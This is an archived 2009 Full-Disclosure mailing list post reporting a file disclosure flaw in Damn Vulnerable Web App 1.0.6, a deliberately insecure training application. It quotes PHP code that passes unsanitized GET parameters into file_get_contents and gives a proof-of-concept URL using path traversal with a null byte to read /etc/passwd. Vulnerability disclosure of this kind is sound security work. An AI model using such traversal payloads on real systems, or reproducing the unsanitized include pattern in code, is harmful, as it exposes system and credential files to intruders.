lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  PHC 
Open Source and information security mailing list archives
 
Hash Suite for Android: free password hash cracker in your pocket
[<prev] [next>] [day] [month] [year] [list]
Date: Tue, 29 Dec 2009 16:19:19 -0300
From: WHK <www.kernel32@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: File Disclosure in DAMN VULNERABLE WEB APP
	version 1.0.6

The problem is here:

vulnerabilities/view_source.php Line 11 and 12:
--------------------------------
$id = $_GET[ 'id' ];
$security = $_GET[ 'security' ];
--------------------------------

vulnerabilities/view_source.php Line 41:
--------------------------------
$source = @file_get_contents( 
DVWA_WEB_PAGE_TO_ROOT."vulnerabilities/{$id}/source/{$security}.php" );
--------------------------------

PoC:
http://127.0.0.1/dvwa/vulnerabilities/view_source.php?id=fi&security=../../../../../../etc/passwd%00

Demo:
http://www.webcomparte.com/archivos_publicos/imagenes/bugs/dvwa.png

Source:
http://foro.elhacker.net/nivel_web/para_que_practiques-t278540.0.html;msg1370620#msg1370620

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists